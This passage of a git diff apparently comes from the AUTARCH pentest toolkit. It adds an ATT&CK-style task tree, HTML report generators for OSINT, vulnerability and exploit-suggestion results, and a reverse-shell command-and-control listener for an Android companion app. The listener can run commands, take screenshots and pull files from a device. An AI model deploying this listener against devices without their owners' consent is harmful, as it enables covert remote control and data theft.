to_dict(self) -> dict: + return { + 'id': self.id, + 'label': self.label, + 'node_type': self.node_type.value, + 'status': self.status.value, + 'parent_id': self.parent_id, + 'children': self.children.copy(), + 'details': self.details, + 'tool_output': self.tool_output, + 'findings': self.findings.copy(), + 'priority': self.priority, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + } + + @classmethod + def from_dict(cls, data: dict) -> 'PTTNode': + return cls( + id=data['id'], + label=data['label'], + node_type=PTTNodeType(data['node_type']), + status=NodeStatus(data['status']), + parent_id=data.get('parent_id'), + children=data.get('children', []), + details=data.get('details', ''), + tool_output=data.get('tool_output'), + findings=data.get('findings', []), + priority=data.get('priority', 3), + created_at=data.get('created_at', ''), + updated_at=data.get('updated_at', ''), + ) + + +# Status display symbols +_STATUS_SYMBOLS = { + NodeStatus.TODO: '[ ]', + NodeStatus.IN_PROGRESS: '[~]', + NodeStatus.COMPLETED: '[x]', + NodeStatus.NOT_APPLICABLE: '[-]', +} + + +class PentestTree: + """Penetration Testing Tree - hierarchical task tracker.""" + + def __init__(self, target: str): + self.target = target + self.nodes: Dict[str, PTTNode] = {} + self.root_nodes: List[str] = [] + now = datetime.now().isoformat() + self.created_at = now + self.updated_at = now + + def add_node( + self, + label: str, + node_type: PTTNodeType, + parent_id: Optional[str] = None, + details: str = "", + priority: int = 3, + status: NodeStatus = NodeStatus.TODO, + ) -> str: + """Add a node to the tree. Returns the new node's ID.""" + node_id = str(uuid.uuid4())[:8] + node = PTTNode( + id=node_id, + label=label, + node_type=node_type, + status=status, + parent_id=parent_id, + details=details, + priority=priority, + ) + + self.nodes[node_id] = node + + if parent_id and parent_id in self.nodes: + self.nodes[parent_id].children.append(node_id) + elif parent_id is None: + self.root_nodes.append(node_id) + + self.updated_at = datetime.now().isoformat() + return node_id + + def update_node( + self, + node_id: str, + status: Optional[NodeStatus] = None, + details: Optional[str] = None, + tool_output: Optional[str] = None, + findings: Optional[List[str]] = None, + priority: Optional[int] = None, + label: Optional[str] = None, + ) -> bool: + """Update a node's properties. Returns True if found and updated.""" + node = self.nodes.get(node_id) + if not node: + return False + + if status is not None: + node.status = status + if details is not None: + node.details = details + if tool_output is not None: + node.tool_output = tool_output + if findings is not None: + node.findings.extend(findings) + if priority is not None: + node.priority = priority + if label is not None: + node.label = label + + node.updated_at = datetime.now().isoformat() + self.updated_at = node.updated_at + return True + + def delete_node(self, node_id: str) -> bool: + """Delete a node and all its children recursively.""" + node = self.nodes.get(node_id) + if not node: + return False + + # Recursively delete children + for child_id in node.children.copy(): + self.delete_node(child_id) + + # Remove from parent's children list + if node.parent_id and node.parent_id in self.nodes: + parent = self.nodes[node.parent_id] + if node_id in parent.children: + parent.children.remove(node_id) + + # Remove from root nodes if applicable + if node_id in self.root_nodes: + self.root_nodes.remove(node_id) + + del self.nodes[node_id] + self.updated_at = datetime.now().isoformat() + return True + + def get_node(self, node_id: str) -> Optional[PTTNode]: + return self.nodes.get(node_id) + + def get_next_todo(self) -> Optional[PTTNode]: + """Get the highest priority TODO node.""" + todos = [n for n in self.nodes.values() if n.status == NodeStatus.TODO] + if not todos: + return None + return min(todos, key=lambda n: n.priority) + + def get_all_by_status(self, status: NodeStatus) -> List[PTTNode]: + return [n for n in self.nodes.values() if n.status == status] + + def get_subtree(self, node_id: str) -> List[PTTNode]: + """Get all nodes in a subtree (including the root).""" + node = self.nodes.get(node_id) + if not node: + return [] + result = [node] + for child_id in node.children: + result.extend(self.get_subtree(child_id)) + return result + + def find_node_by_label(self, label: str) -> Optional[PTTNode]: + """Find a node by label (case-insensitive partial match).""" + label_lower = label.lower() + for node in self.nodes.values(): + if label_lower in node.label.lower(): + return node + return None + + def get_stats(self) -> Dict[str, int]: + """Get tree statistics.""" + stats = {'total': len(self.nodes)} + for status in NodeStatus: + stats[status.value] = len(self.get_all_by_status(status)) + return stats + + def render_text(self) -> str: + """Render full tree as indented text for terminal display.""" + if not self.root_nodes: + return " (empty tree)" + + lines = [f"Target: {self.target}"] + lines.append("") + + for root_id in self.root_nodes: + self._render_node(root_id, lines, indent=0) + + return "\n".join(lines) + + def _render_node(self, node_id: str, lines: List[str], indent: int): + node = self.nodes.get(node_id) + if not node: + return + + prefix = " " * indent + symbol = _STATUS_SYMBOLS.get(node.status, '[ ]') + priority_str = f" P{node.priority}" if node.priority != 3 else "" + lines.append(f"{prefix}{symbol} {node.label}{priority_str}") + + if node.findings: + for finding in node.findings[:3]: + lines.append(f"{prefix} -> {finding}") + + for child_id in node.children: + self._render_node(child_id, lines, indent + 1) + + def render_summary(self) -> str: + """Render compact summary for LLM context injection. + Designed to fit within tight token budgets (4096 ctx). + Only shows TODO and IN_PROGRESS nodes with minimal detail. + """ + stats = self.get_stats() + lines = [ + f"Target: {self.target}", + f"Nodes: {stats['total']} total, {stats['todo']} todo, " + f"{stats['completed']} done, {stats['in_progress']} active", + ] + + # Show active and todo nodes only + active = self.get_all_by_status(NodeStatus.IN_PROGRESS) + todos = sorted( + self.get_all_by_status(NodeStatus.TODO), + key=lambda n: n.priority + ) + + if active: + lines.append("Active:") + for n in active: + lines.append(f" [{n.id}] {n.label}") + + if todos: + lines.append("Todo:") + for n in todos[:5]: + lines.append(f" [{n.id}] P{n.priority} {n.label}") + if len(todos) > 5: + lines.append(f" ... and {len(todos) - 5} more") + + # Show recent findings (last 5) + all_findings = [] + for node in self.nodes.values(): + if node.findings: + for f in node.findings: + all_findings.append(f) + if all_findings: + lines.append("Key findings:") + for f in all_findings[-5:]: + lines.append(f" - {f}") + + return "\n".join(lines) + + def initialize_standard_branches(self): + """Create standard MITRE ATT&CK-aligned top-level branches.""" + branches = [ + ("Reconnaissance", PTTNodeType.RECONNAISSANCE, 1, + "Information gathering and target enumeration"), + ("Initial Access", PTTNodeType.INITIAL_ACCESS, 2, + "Gaining initial foothold on target"), + ("Privilege Escalation", PTTNodeType.PRIVILEGE_ESCALATION, 3, + "Escalating from initial access to higher privileges"), + ("Lateral Movement", PTTNodeType.LATERAL_MOVEMENT, 4, + "Moving to other systems in the network"), + ("Credential Access", PTTNodeType.CREDENTIAL_ACCESS, 3, + "Obtaining credentials and secrets"), + ("Persistence", PTTNodeType.PERSISTENCE, 5, + "Maintaining access to compromised systems"), + ] + + for label, ntype, priority, details in branches: + self.add_node( + label=label, + node_type=ntype, + priority=priority, + details=details, + ) + + def to_dict(self) -> dict: + return { + 'target': self.target, + 'created_at': self.created_at, + 'updated_at': self.updated_at, + 'root_nodes': self.root_nodes.copy(), + 'nodes': {nid: n.to_dict() for nid, n in self.nodes.items()}, + } + + @classmethod + def from_dict(cls, data: dict) -> 'PentestTree': + tree = cls(target=data['target']) + tree.created_at = data.get('created_at', '') + tree.updated_at = data.get('updated_at', '') + tree.root_nodes = data.get('root_nodes', []) + for nid, ndata in data.get('nodes', {}).items(): + tree.nodes[nid] = PTTNode.from_dict(ndata) + return tree diff --git a/core/report_generator.py b/core/report_generator.py new file mode 100644 index 0000000..1debe86 --- /dev/null +++ b/core/report_generator.py @@ -0,0 +1,1137 @@ +""" +AUTARCH Report Generator +Generate HTML reports for scan results +""" + +import json +import os +from datetime import datetime +from pathlib import Path +from typing import List, Dict, Optional + + +class ReportGenerator: + """Generate HTML reports for OSINT scan results.""" + + def __init__(self, output_dir: str = None): + """Initialize report generator. + + Args: + output_dir: Directory to save reports. Defaults to results/reports. + """ + if output_dir: + self.output_dir = Path(output_dir) + else: + from core.paths import get_reports_dir + self.output_dir = get_reports_dir() + + self.output_dir.mkdir(parents=True, exist_ok=True) + + def _get_html_template(self) -> str: + """Get base HTML template.""" + return ''' + + + + + {title} + + + +
+ {content} +
+ +''' + + def generate_username_report( + self, + username: str, + results: List[Dict], + total_checked: int, + scan_time: float = 0 + ) -> str: + """Generate HTML report for username scan. + + Args: + username: The username that was scanned. + results: List of found profile dictionaries. + total_checked: Total sites checked. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + # Categorize results + high_conf = [r for r in results if r.get('confidence', 0) >= 80 and r.get('status') != 'restricted'] + med_conf = [r for r in results if 60 <= r.get('confidence', 0) < 80 and r.get('status') != 'restricted'] + low_conf = [r for r in results if r.get('confidence', 0) < 60 and r.get('status') != 'restricted'] + restricted = [r for r in results if r.get('status') == 'restricted'] + + # Group by category + by_category = {} + for r in results: + if r.get('status') != 'restricted' and r.get('confidence', 0) >= 60: + cat = r.get('category', 'other') + if cat not in by_category: + by_category[cat] = [] + by_category[cat].append(r) + + # Build stats section + stats_html = f''' +
+
+
{total_checked}
+
Sites Checked
+
+
+
{len(results)}
+
Total Found
+
+
+
{len(high_conf)}
+
High Confidence
+
+
+
{len(med_conf)}
+
Medium Confidence
+
+
+
{len(restricted)}
+
Restricted
+
+
+ ''' + + # Build results table + def get_confidence_class(conf): + if conf >= 80: + return 'high' + elif conf >= 60: + return 'medium' + return 'low' + + confirmed_rows = '' + for r in sorted(high_conf + med_conf, key=lambda x: -x.get('confidence', 0)): + conf = r.get('confidence', 0) + conf_class = get_confidence_class(conf) + tracker_badge = ' [tracker]' if r.get('is_tracker') else '' + confirmed_rows += f''' + + {r.get('name', 'Unknown')}{tracker_badge} + {r.get('url', '')} + {r.get('category', 'other')} + {conf}% + + ''' + + # Build category breakdown + category_rows = '' + for cat, items in sorted(by_category.items(), key=lambda x: -len(x[1])): + category_rows += f''' + + {cat} + {len(items)} + + ''' + + # Restricted section + restricted_rows = '' + for r in restricted[:30]: + restricted_rows += f''' + + {r.get('name', 'Unknown')} + {r.get('url', '')} + {r.get('category', 'other')} + Restricted + + ''' + + # Build full content + content = f''' +
+

AUTARCH Username Report

+
+ Target: {username} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
+
+ + {stats_html} + +
+

Confirmed Profiles ({len(high_conf) + len(med_conf)})

+ + + + + + + + + + + {confirmed_rows if confirmed_rows else ''} + +
SiteURLCategoryConfidence
No confirmed profiles found
+
+ +
+

By Category

+ + + + + + + + + {category_rows if category_rows else ''} + +
CategoryCount
No categories
+
+ +
+

Restricted Access ({len(restricted)})

+

+ These sites returned 403/401 errors - the profile may exist but requires authentication. +

+ + + + + + + + + + + {restricted_rows if restricted_rows else ''} + +
SiteURLCategoryStatus
None
+
+ + + ''' + + # Generate HTML + html = self._get_html_template().format( + title=f"AUTARCH Report - {username}", + content=content + ) + + # Save report + filename = f"{username}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + + return str(filepath) + + def generate_geoip_report(self, results: List[Dict]) -> str: + """Generate HTML report for GEO IP lookups. + + Args: + results: List of GEO IP lookup result dictionaries. + + Returns: + Path to generated report file. + """ + rows = '' + for r in results: + if 'error' in r: + rows += f''' + + {r.get('target', 'Unknown')} + Error: {r['error']} + + ''' + else: + map_link = f'View Map' if r.get('map_osm') else '-' + rows += f''' + + {r.get('target', '-')} + {r.get('ipv4', '-')} + {r.get('country_code', '-')} + {r.get('region', '-')} + {r.get('city', '-')} + {r.get('isp', '-')} + {map_link} + + ''' + + content = f''' +
+

AUTARCH GEO IP Report

+
+ Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Total Lookups: {len(results)} +
+
+ +
+

GEO IP Results

+ + + + + + + + + + + + + + {rows} + +
TargetIPv4CountryRegionCityISPMap
+
+ + + ''' + + html = self._get_html_template().format( + title="AUTARCH GEO IP Report", + content=content + ) + + filename = f"geoip_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + + return str(filepath) + + + def generate_security_audit_report( + self, + system_info: Dict, + issues: List[Dict], + score: int + ) -> str: + """Generate HTML report for security audit. + + Args: + system_info: System information dictionary. + issues: List of security issues found. + score: Security score 0-100. + + Returns: + Path to generated report file. + """ + # Score color + if score >= 80: + score_color = "var(--accent-green)" + elif score >= 60: + score_color = "var(--accent-yellow)" + else: + score_color = "var(--accent-red)" + + # System info rows + sys_rows = '' + for key, val in system_info.items(): + sys_rows += f'{key}{val}\n' + + # Score gauge + score_html = f''' +
+
+ {score}/100 +
+
+ ''' + + # Issues by severity + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + for issue in issues: + sev = issue.get('severity', 'LOW').upper() + if sev in severity_counts: + severity_counts[sev] += 1 + + # Issues table + issue_rows = '' + for issue in sorted(issues, key=lambda x: ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].index(x.get('severity', 'LOW').upper())): + sev = issue.get('severity', 'LOW').upper() + sev_class = f'severity-{sev.lower()}' + issue_rows += f''' + + {sev} + {issue.get('title', '')} + {issue.get('description', '')} + {issue.get('recommendation', '')} + + ''' + + content = f''' +
+

Security Audit Report

+
+ Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Issues Found: {len(issues)} +
+
+ +
+
+
{score}
+
Security Score
+
+
+
{severity_counts['CRITICAL']}
+
Critical
+
+
+
{severity_counts['HIGH']}
+
High
+
+
+
{severity_counts['MEDIUM']}
+
Medium
+
+
+
{severity_counts['LOW']}
+
Low
+
+
+ + {score_html} + +
+

System Information

+ + + {sys_rows} +
PropertyValue
+
+ +
+

Security Issues ({len(issues)})

+ + + + + + + + + + + {issue_rows if issue_rows else ''} + +
SeverityIssueDescriptionRecommendation
No issues found
+
+ + + ''' + + html = self._get_html_template().format( + title="AUTARCH Security Audit Report", + content=content + ) + + filename = f"audit_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_network_scan_report( + self, + target: str, + hosts: List[Dict], + scan_time: float = 0 + ) -> str: + """Generate HTML report for network scan. + + Args: + target: Target subnet/IP. + hosts: List of host dictionaries with ports/services. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + total_ports = sum(len(h.get('ports', [])) for h in hosts) + all_services = set() + for h in hosts: + for p in h.get('ports', []): + all_services.add(p.get('service', 'unknown')) + + # Host rows + host_rows = '' + for h in hosts: + ports_str = ', '.join(str(p.get('port', '')) for p in h.get('ports', [])) + services_str = ', '.join(set(p.get('service', '') for p in h.get('ports', []))) + host_rows += f''' + + {h.get('ip', '')} + {h.get('hostname', '-')} + {h.get('os_guess', '-')} + {ports_str or '-'} + {services_str or '-'} + + ''' + + # Service distribution + svc_count = {} + for h in hosts: + for p in h.get('ports', []): + svc = p.get('service', 'unknown') + svc_count[svc] = svc_count.get(svc, 0) + 1 + + svc_rows = '' + for svc, count in sorted(svc_count.items(), key=lambda x: -x[1]): + svc_rows += f'{svc}{count}\n' + + content = f''' +
+

Network Scan Report

+
+ Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
+
+ +
+
+
{len(hosts)}
+
Hosts Found
+
+
+
{total_ports}
+
Open Ports
+
+
+
{len(all_services)}
+
Unique Services
+
+
+ +
+

Host Map ({len(hosts)} hosts)

+ + + + + + + + + + + + {host_rows if host_rows else ''} + +
IP AddressHostnameOSOpen PortsServices
No hosts found
+
+ +
+

Service Distribution

+ + + {svc_rows} +
ServiceCount
+
+ + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Network Scan - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"network_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_vulnerability_report( + self, + target: str, + correlations: List[Dict], + scan_time: float = 0 + ) -> str: + """Generate HTML report for vulnerability scan. + + Args: + target: Target IP/hostname. + correlations: List of service-CVE correlation dicts. + scan_time: Total scan time in seconds. + + Returns: + Path to generated report file. + """ + total_cves = 0 + severity_counts = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0} + for corr in correlations: + for cve in corr.get('cves', []): + total_cves += 1 + score = cve.get('cvss', 0) + if score >= 9.0: + severity_counts['CRITICAL'] += 1 + elif score >= 7.0: + severity_counts['HIGH'] += 1 + elif score >= 4.0: + severity_counts['MEDIUM'] += 1 + else: + severity_counts['LOW'] += 1 + + # Per-service CVE sections + service_sections = '' + for corr in correlations: + svc = corr.get('service', {}) + cves = corr.get('cves', []) + svc_label = f"{svc.get('service', 'unknown')}:{svc.get('version', '?')} on port {svc.get('port', '?')}" + + cve_rows = '' + for cve in sorted(cves, key=lambda x: -x.get('cvss', 0)): + score = cve.get('cvss', 0) + if score >= 9.0: + sev, sev_class = 'CRITICAL', 'severity-critical' + elif score >= 7.0: + sev, sev_class = 'HIGH', 'severity-high' + elif score >= 4.0: + sev, sev_class = 'MEDIUM', 'severity-medium' + else: + sev, sev_class = 'LOW', 'severity-low' + + cve_rows += f''' + + {cve.get('id', '')} + {sev} ({score}) + {cve.get('description', '')[:200]} + + ''' + + service_sections += f''' +
+

{svc_label} ({len(cves)} CVEs)

+ + + {cve_rows if cve_rows else ''} +
CVE IDSeverityDescription
No CVEs found
+
+ ''' + + content = f''' +
+

Vulnerability Report

+
+ Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} + Scan Time: {scan_time:.1f}s +
+
+ +
+
+
{total_cves}
+
Total CVEs
+
+
+
{severity_counts['CRITICAL']}
+
Critical
+
+
+
{severity_counts['HIGH']}
+
High
+
+
+
{severity_counts['MEDIUM']}
+
Medium
+
+
+
{severity_counts['LOW']}
+
Low
+
+
+ + {service_sections} + + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Vulnerability Report - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"vulns_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + def generate_pentest_report( + self, + target: str, + network_data: Optional[List[Dict]] = None, + vuln_data: Optional[List[Dict]] = None, + exploit_data: Optional[List[Dict]] = None, + audit_data: Optional[Dict] = None + ) -> str: + """Generate combined pentest report. + + Args: + target: Target IP/hostname. + network_data: Network map host list (optional). + vuln_data: Vulnerability correlations (optional). + exploit_data: Exploit suggestions (optional). + audit_data: Security audit data with 'system_info', 'issues', 'score' (optional). + + Returns: + Path to generated report file. + """ + sections_html = '' + + # Executive summary + summary_items = [] + if network_data: + summary_items.append(f"
  • {len(network_data)} hosts discovered
  • ") + if vuln_data: + total_cves = sum(len(c.get('cves', [])) for c in vuln_data) + summary_items.append(f"
  • {total_cves} vulnerabilities identified across {len(vuln_data)} services
  • ") + if exploit_data: + summary_items.append(f"
  • {len(exploit_data)} potential exploit paths identified
  • ") + if audit_data: + summary_items.append(f"
  • Security score: {audit_data.get('score', 'N/A')}/100
  • ") + + sections_html += f''' +
    +

    Executive Summary

    +
      + {''.join(summary_items) if summary_items else '
    • No data collected
    • '} +
    +
    + ''' + + # Network map section + if network_data: + net_rows = '' + for h in network_data: + ports_str = ', '.join(str(p.get('port', '')) for p in h.get('ports', [])) + services_str = ', '.join(set(p.get('service', '') for p in h.get('ports', []))) + net_rows += f''' + + {h.get('ip', '')} + {h.get('hostname', '-')} + {h.get('os_guess', '-')} + {ports_str or '-'} + {services_str or '-'} + + ''' + sections_html += f''' +
    +

    Network Map ({len(network_data)} hosts)

    + + + {net_rows} +
    IPHostnameOSPortsServices
    +
    + ''' + + # Vulnerabilities section + if vuln_data: + vuln_rows = '' + for corr in vuln_data: + svc = corr.get('service', {}) + for cve in sorted(corr.get('cves', []), key=lambda x: -x.get('cvss', 0)): + score = cve.get('cvss', 0) + if score >= 9.0: + sev, sev_class = 'CRITICAL', 'severity-critical' + elif score >= 7.0: + sev, sev_class = 'HIGH', 'severity-high' + elif score >= 4.0: + sev, sev_class = 'MEDIUM', 'severity-medium' + else: + sev, sev_class = 'LOW', 'severity-low' + vuln_rows += f''' + + {svc.get('service', '')}:{svc.get('port', '')} + {cve.get('id', '')} + {sev} ({score}) + {cve.get('description', '')[:150]} + + ''' + sections_html += f''' +
    +

    Vulnerabilities

    + + + {vuln_rows} +
    ServiceCVESeverityDescription
    +
    + ''' + + # Exploit suggestions section + if exploit_data: + exploit_rows = '' + for i, exp in enumerate(exploit_data, 1): + exploit_rows += f''' + + {i} + {exp.get('module', '')} + {exp.get('target', '')} + {exp.get('cve', '-')} + {exp.get('reasoning', '')} + + ''' + sections_html += f''' +
    +

    Exploit Suggestions ({len(exploit_data)})

    + + + {exploit_rows} +
    #ModuleTargetCVEReasoning
    +
    + ''' + + # Security audit section + if audit_data: + score = audit_data.get('score', 0) + if score >= 80: + score_color = "var(--accent-green)" + elif score >= 60: + score_color = "var(--accent-yellow)" + else: + score_color = "var(--accent-red)" + + audit_issue_rows = '' + for issue in audit_data.get('issues', []): + sev = issue.get('severity', 'LOW').upper() + sev_class = f'severity-{sev.lower()}' + audit_issue_rows += f''' + + {sev} + {issue.get('title', '')} + {issue.get('description', '')} + + ''' + sections_html += f''' +
    +

    Security Audit (Score: {score}/100)

    +
    +
    + {score}/100 +
    +
    + + + {audit_issue_rows if audit_issue_rows else ''} +
    SeverityIssueDescription
    No issues
    +
    + ''' + + content = f''' +
    +

    Penetration Test Report

    +
    + Target: {target} + Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} +
    +
    + + {sections_html} + + + ''' + + html = self._get_html_template().format( + title=f"AUTARCH Pentest Report - {target}", + content=content + ) + + safe_target = target.replace('/', '_').replace('.', '-') + filename = f"pentest_{safe_target}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html" + filepath = self.output_dir / filename + with open(filepath, 'w', encoding='utf-8') as f: + f.write(html) + return str(filepath) + + +def get_report_generator(output_dir: str = None) -> ReportGenerator: + """Get a ReportGenerator instance. + + Args: + output_dir: Optional output directory. + + Returns: + ReportGenerator instance. + """ + return ReportGenerator(output_dir) diff --git a/core/revshell.py b/core/revshell.py new file mode 100644 index 0000000..7fb65c7 --- /dev/null +++ b/core/revshell.py @@ -0,0 +1,493 @@ +""" +AUTARCH Reverse Shell Listener +Accepts incoming reverse shell connections from the Archon Android companion app. + +Protocol: JSON over TCP, newline-delimited. Matches ArchonShell.java. + +Auth handshake: + Client → Server: {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000} + Server → Client: {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."} + +Command flow: + Server → Client: {"type":"cmd","cmd":"ls","timeout":30,"id":"abc"} + Client → Server: {"type":"result","id":"abc","stdout":"...","stderr":"...","exit_code":0} + +Special commands: __sysinfo__, __packages__, __screenshot__, __download__, __upload__, + __processes__, __netstat__, __dumplog__, __disconnect__ +""" + +import base64 +import json +import logging +import os +import socket +import threading +import time +import uuid +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any, Tuple + +from core.paths import get_data_dir + +logger = logging.getLogger('autarch.revshell') + + +class RevShellSession: + """Active reverse shell session with an Archon device.""" + + def __init__(self, sock: socket.socket, device_info: dict, session_id: str): + self.socket = sock + self.device_info = device_info + self.session_id = session_id + self.connected_at = datetime.now() + self.command_log: List[dict] = [] + self._lock = threading.Lock() + self._reader = sock.makefile('r', encoding='utf-8', errors='replace') + self._writer = sock.makefile('w', encoding='utf-8', errors='replace') + self._alive = True + self._cmd_counter = 0 + + @property + def alive(self) -> bool: + return self._alive + + @property + def device_name(self) -> str: + return self.device_info.get('device', 'unknown') + + @property + def android_version(self) -> str: + return self.device_info.get('android', '?') + + @property + def uid(self) -> int: + return self.device_info.get('uid', -1) + + @property + def uptime(self) -> float: + return (datetime.now() - self.connected_at).total_seconds() + + def execute(self, command: str, timeout: int = 30) -> dict: + """Send a command and wait for result. Returns {stdout, stderr, exit_code}.""" + with self._lock: + if not self._alive: + return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1} + + self._cmd_counter += 1 + cmd_id = f"cmd_{self._cmd_counter}" + + msg = json.dumps({ + 'type': 'cmd', + 'cmd': command, + 'timeout': timeout, + 'id': cmd_id + }) + + try: + self._writer.write(msg + '\n') + self._writer.flush() + + # Read response (with extended timeout for command execution) + self.socket.settimeout(timeout + 10) + response_line = self._reader.readline() + if not response_line: + self._alive = False + return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1} + + result = json.loads(response_line) + + # Log command + self.command_log.append({ + 'time': datetime.now().isoformat(), + 'cmd': command, + 'exit_code': result.get('exit_code', -1) + }) + + return { + 'stdout': result.get('stdout', ''), + 'stderr': result.get('stderr', ''), + 'exit_code': result.get('exit_code', -1) + } + + except (socket.timeout, OSError, json.JSONDecodeError) as e: + logger.error(f"Session {self.session_id}: execute error: {e}") + self._alive = False + return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1} + + def execute_special(self, command: str, **kwargs) -> dict: + """Execute a special command with extra parameters.""" + with self._lock: + if not self._alive: + return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1} + + self._cmd_counter += 1 + cmd_id = f"cmd_{self._cmd_counter}" + + msg = {'type': 'cmd', 'cmd': command, 'id': cmd_id, 'timeout': 60} + msg.update(kwargs) + + try: + self._writer.write(json.dumps(msg) + '\n') + self._writer.flush() + + self.socket.settimeout(70) + response_line = self._reader.readline() + if not response_line: + self._alive = False + return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1} + + return json.loads(response_line) + + except (socket.timeout, OSError, json.JSONDecodeError) as e: + logger.error(f"Session {self.session_id}: special cmd error: {e}") + self._alive = False + return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1} + + def sysinfo(self) -> dict: + """Get device system information.""" + return self.execute('__sysinfo__') + + def packages(self) -> dict: + """List installed packages.""" + return self.execute('__packages__', timeout=30) + + def screenshot(self) -> Optional[bytes]: + """Capture screenshot. Returns PNG bytes or None.""" + result = self.execute('__screenshot__', timeout=30) + if result['exit_code'] != 0: + return None + try: + return base64.b64decode(result['stdout']) + except Exception: + return None + + def download(self, remote_path: str) -> Optional[Tuple[bytes, str]]: + """Download file from device. Returns (data, filename) or None.""" + result = self.execute_special('__download__', path=remote_path) + if result.get('exit_code', -1) != 0: + return None + try: + data = base64.b64decode(result.get('stdout', '')) + filename = result.get('filename', os.path.basename(remote_path)) + return (data, filename) + except Exception: + return None + + def upload(self, local_path: str, remote_path: str) -> dict: + """Upload file to device.""" + try: + with open(local_path, 'rb') as f: + data = base64.b64encode(f.read()).decode('ascii') + except IOError as e: + return {'stdout': '', 'stderr': f'Failed to read local file: {e}', 'exit_code': -1} + + return self.execute_special('__upload__', path=remote_path, data=data) + + def processes(self) -> dict: + """List running processes.""" + return self.execute('__processes__', timeout=10) + + def netstat(self) -> dict: + """Get network connections.""" + return self.execute('__netstat__', timeout=10) + + def dumplog(self, lines: int = 100) -> dict: + """Get logcat output.""" + return self.execute_special('__dumplog__', lines=min(lines, 5000)) + + def ping(self) -> bool: + """Send keepalive ping.""" + with self._lock: + if not self._alive: + return False + try: + self._writer.write('{"type":"ping"}\n') + self._writer.flush() + self.socket.settimeout(10) + response = self._reader.readline() + if not response: + self._alive = False + return False + result = json.loads(response) + return result.get('type') == 'pong' + except Exception: + self._alive = False + return False + + def disconnect(self): + """Gracefully disconnect the session.""" + with self._lock: + if not self._alive: + return + try: + self._writer.write('{"type":"disconnect"}\n') + self._writer.flush() + except Exception: + pass + self._alive = False + try: + self.socket.close() + except Exception: + pass + + def to_dict(self) -> dict: + """Serialize session info for API responses.""" + return { + 'session_id': self.session_id, + 'device': self.device_name, + 'android': self.android_version, + 'uid': self.uid, + 'connected_at': self.connected_at.isoformat(), + 'uptime': int(self.uptime), + 'commands_executed': len(self.command_log), + 'alive': self._alive, + } + + +class RevShellListener: + """TCP listener for incoming Archon reverse shell connections.""" + + def __init__(self, host: str = '0.0.0.0', port: int = 17322, auth_token: str = None): + self.host = host + self.port = port + self.auth_token = auth_token or uuid.uuid4().hex[:32] + self.sessions: Dict[str, RevShellSession] = {} + self._server_socket: Optional[socket.socket] = None + self._accept_thread: Optional[threading.Thread] = None + self._keepalive_thread: Optional[threading.Thread] = None + self._running = False + self._lock = threading.Lock() + + # Data directory for screenshots, downloads, etc. + self._data_dir = get_data_dir() / 'revshell' + self._data_dir.mkdir(parents=True, exist_ok=True) + + @property + def running(self) -> bool: + return self._running + + @property + def active_sessions(self) -> List[RevShellSession]: + return [s for s in self.sessions.values() if s.alive] + + def start(self) -> Tuple[bool, str]: + """Start listening for incoming reverse shell connections.""" + if self._running: + return (False, 'Listener already running') + + try: + self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._server_socket.settimeout(2.0) # Accept timeout for clean shutdown + self._server_socket.bind((self.host, self.port)) + self._server_socket.listen(5) + except OSError as e: + return (False, f'Failed to bind {self.host}:{self.port}: {e}') + + self._running = True + + self._accept_thread = threading.Thread(target=self._accept_loop, daemon=True) + self._accept_thread.start() + + self._keepalive_thread = threading.Thread(target=self._keepalive_loop, daemon=True) + self._keepalive_thread.start() + + logger.info(f"RevShell listener started on {self.host}:{self.port}") + logger.info(f"Auth token: {self.auth_token}") + return (True, f'Listening on {self.host}:{self.port}') + + def stop(self): + """Stop listener and disconnect all sessions.""" + self._running = False + + # Disconnect all sessions + for session in list(self.sessions.values()): + try: + session.disconnect() + except Exception: + pass + + # Close server socket + if self._server_socket: + try: + self._server_socket.close() + except Exception: + pass + + # Wait for threads + if self._accept_thread: + self._accept_thread.join(timeout=5) + if self._keepalive_thread: + self._keepalive_thread.join(timeout=5) + + logger.info("RevShell listener stopped") + + def get_session(self, 